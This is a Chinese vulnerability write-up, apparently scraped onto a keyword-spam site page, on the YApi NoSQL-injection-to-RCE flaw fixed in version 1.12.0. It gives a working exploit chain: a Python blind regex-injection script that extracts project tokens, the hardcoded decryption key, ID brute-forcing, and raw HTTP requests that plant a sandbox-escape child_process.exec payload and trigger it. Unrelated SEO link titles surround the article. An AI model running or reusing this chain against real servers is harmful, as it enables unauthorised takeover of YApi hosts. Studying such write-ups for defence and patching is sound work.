当前位置: 首页 > news >正文

网站建设水上乐园wordpress怎么装

网站建设水上乐园,wordpress怎么装,建设软件网站,html仿淘宝首页电子商务网站首页0x00 前提 这个是前几个月的漏洞#xff0c;之前爆出来发现没人分析就看了一下#xff0c;也写了一片 Nosql注入的文章#xff0c;最近生病在家#xff0c;把这个写一半的完善一下发出来吧。 0x01 介绍 YApi是一个可本地部署的、打通前后端及QA的、可视化的接口管理平台…0x00 前提 这个是前几个月的漏洞之前爆出来发现没人分析就看了一下也写了一片 Nosql注入的文章最近生病在家把这个写一半的完善一下发出来吧。 0x01 介绍 YApi是一个可本地部署的、打通前后端及QA的、可视化的接口管理平台。 YApi 是高效、易用、功能强大的 api 管理平台旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 APIYApi 还为用户提供了优秀的交互体验开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。在其1.12.0版本之前存在一处NoSQL注入漏洞通过该漏洞攻击者可以窃取项目Token并利用这个Token执行任意Mock脚本获取服务器权限。 [YMFE/yapi: YApi 是一个可本地部署的、打通前后端及QA的、可视化的接口管理平台 (github.com)] https://github.com/YMFE/yapi 当时年底爆出来的从未授权注入到rce的利用就是从一个buffix出来的就是下面这个链接 参考链接 https://github.com/YMFE/yapi/commit/59bade3a8a43e7db077d38a4b0c7c584f30ddf8c Bugfix 2022 11 01 (#2628) * fix: 修复【Mongo 注入获取 token】的问题* chore: up version* chore: 关闭 Pre-request Script 和 Pre-response Scriptv1.11.0 之后 如下脚本功能关闭,如需打开,请联系管理员添加. 在 db, mail 同级配置 scriptEnable: true, 并重启服务 即可Co-authored-by: ariesly arieslyarieslymac13.local0x02 环境 当时自己搭建的环境起一个docker 的 mongo本地起一个yapi 自己手动搭建, 注意要自己下载带漏洞的版本 mkdir yapi cd yapi git clone https://github.com/YMFE/yapi.git vendors //或者下载 zip 包解压到 vendors 目录clone 整个仓库大概 140 M可以通过 git clone --depth1 https://github.com/YMFE/yapi.git vendors 命令减少大概 10 M cp vendors/config_example.json ./config.json //复制完成后请修改相关配置 cd vendorsyapi server 访问 在浏览器打开 http://0.0.0.0:9090 访问。非本地服务器请将 0.0.0.0 替换成指定的域名或ip 其实也可以直接调试P师傅的环境也是十分方便的因为自己装确实有好几个bug卡了半天。 0x03 漏洞分析 首先看到是补丁补丁感觉修复的东西就几行重要的就这个 加了一行判断要token为string 问题来了正常应用的话token难道不都是String吗这个其实我一开始也没看明白 但是我们了解 Nosql注入之后就知道是哪一种情况基本上就传入了一个数组导致的问题 而且也定位了 token 这个参数出现了问题那先把注入搞定 0x04 注入 直接打断点然后看一下路由哪些路由回到这边 而且这中文注释很清楚了吧,haiy 最后跟到getProjectIdByToken里面最后是一个mango 的sql查询了 这里其实看似是没有问题的因为是一个预编译的情况 但是这里是 mongo注入的经典情况可以传入一个数组 , 就可以构成一个注入了 0x05 如何传入一个数组 直接构造一下试一下 GET /api/project/get?token{token:{$regex:^1}} HTTP/1.1 答案显然是不行的 这里yapi用的是一个叫 koa web的通用web框架 那么利用 koa web框架 中会解析 json格式转化为一个数组 我们主要需要 Content-Type: application/json 就可以解析json转化为数组最终成为成功传入数组 0x06 注入判断 正确的情况 错误的情况 那么就是一个标准的盲注情况写个poc import requests import urllib3 import string import urllib urllib3.disable_warnings() target http://127.0.0.1:3333/api/plugin/export token json_data {token: {$regex:^token}}while True:for word in string.printable:if word not in [*, , ., ?, |, #, , $]:json_data {token: {$regex: ^ tokenword}}r requests.get(urltarget,jsonjson_data, )# print(r.text)if html in r.text:print(Found one more char : %s % (tokenword))token word 0x07 Token转换 因为我们发现我 注入出来的这个token不对的 明显和真实的token长度都不一样吗 那么应该还有一个转化的步骤当传递过来的token后会先进行一次aseDecode方法 随后获取到正确的uid 才能正常后续的操作。 如果解密失败就会默认给一个99999就是没权限。 那么我们先解决第一个解密的问题还是一个硬编码 abcde 所以就来一个对应的加密脚本 0x08 RCE的原理 那肯定是要利用这个token来做文章了 那么他可以做什么 明显要看一下运行自动化测试这个东西 看了一下只是运行一个项目需要一个 id 的参数那这个应该是最后触发的条件。 然后发现这里可以加入脚步 测试一下可以正常触发 可以利用 那么rce的利用流程大概就是这几步 1.注入获取token 2.添加任意测试用例 3.修改项目Pre-response Script脚本 4.调用/api/open/run_auto_test 5.完成RCE。 0x09 爆破一下 那么现在就是一个要往里面设置payload 就是要获得这个项目ID其实还需要用户ID 但是好处是这两个ID都是小数可以直接爆破 爆破项目project_id可以用这个接口也有其他接口 http://127.0.0.1:3000/api/project/get?id1tokenfa460e433974ede4c04a51ae145cf2d72ca677854de766775200c983d8e3c1d1这个接口上传脚本 POST /api/project/up HTTP/1.1 Host: 127.0.0.1:3333 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0 Accept: application/font-woff2;q1.0,application/font-woff;q0.9,*/*;q0.8 Accept-Language: en-US,en;q0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://127.0.0.1:3333/prd/index40d464d7fa4bb1bea815.css Sec-Fetch-Dest: font Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Content-Type: application/x-www-form-urlencoded Content-Length: 221id66tokenfa460e433974ede4c04a51ae145cf2d72ca677854de766775200c983d8e3c1d1after_scriptpre_scriptthis.constructor.constructor(return process)().mainModule.require(child_process).exec(ping 6666.rwzdkn.dnslog.cn)最后运行脚本触发命令执行结束 GET /api/open/run_auto_test HTTP/1.1 Host: 127.0.0.1:3333 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0 Accept: application/font-woff2;q1.0,application/font-woff;q0.9,*/*;q0.8 Accept-Language: en-US,en;q0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://127.0.0.1:3333/prd/index40d464d7fa4bb1bea815.css Sec-Fetch-Dest: font Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Content-Type: application/json Content-Length: 88{ id:66,token:fa460e433974ede4c04a51ae145cf2d72ca677854de766775200c983d8e3c1d1}0x10 总结 其实RCE这个问题属于后台利用吧是nodejs的vm模块出现的问题 主要还是在于项目的 token可以被注入出来那么就可以任意操作项目了那存在这种可以执行脚本的模块也是
http://www.hkea.cn/news/14506980/

相关文章:

  • 布吉网站建设哪家技术好做网站的前端技术
  • 焦作市网站建设哪家好ui设计用的软件有哪些
  • 国内买机票最便宜网站建设基于wordpress个人博客网站论文
  • 动漫公司网站建设wordpress菜单导航插件
  • 天津网站网站建设机械加工网瓦房北方机床附件厂
  • 益阳哪里做网站外贸公司怎么做
  • 潍坊 餐饮网站建设简述三只松鼠网络营销方式
  • 手机网站设计制作服务如何免费做公司网站
  • 佛山网站建设哪家好北京手机软件开发公司
  • 网站变灰兼容代码网站建设优化服务流程
  • 龙口网站建设价格网站建设验收条款
  • 有什么做礼品的卖家网站网站建设公司 盐城市
  • 住房和城乡建设网站 上海学做视频的网站有哪些
  • 婴儿辅食中企动力提供网站建设外贸soho东莞建站
  • 牛商网建站东营做网站seo的
  • 台州做网站软件安监局网站做应急预案备案
  • 烟台网站建设哪家专业dw做的上传网站打不开
  • 浙江省一建建设集团网站首页建设库官网查询系统
  • 网站建设合同 附件那些网站可以做自媒体
  • 下载了wordpress然后怎么用广州新塘排名seo优化公司
  • 网站建设 验证码网站建设套模板
  • 传奇手机版网站淘宝网站是谁做的
  • 邢台做网站推广服务2022年互联网营销师如何报名
  • 长沙网站网站建设做网站好的网站建设公司排名
  • 甘肃肃第八建设集团网站wordpress 添加内链
  • 惠州网站制作维护企业网站建设公司上海
  • 老河口网站建设wordpress数据库没有填写
  • 做网站可以用什么主题html编辑器安卓汉化版
  • 学校网站建设培训网易企业邮箱怎么设置
  • asp网站代码 部分封装湘潭网站建设 诚信磐石网络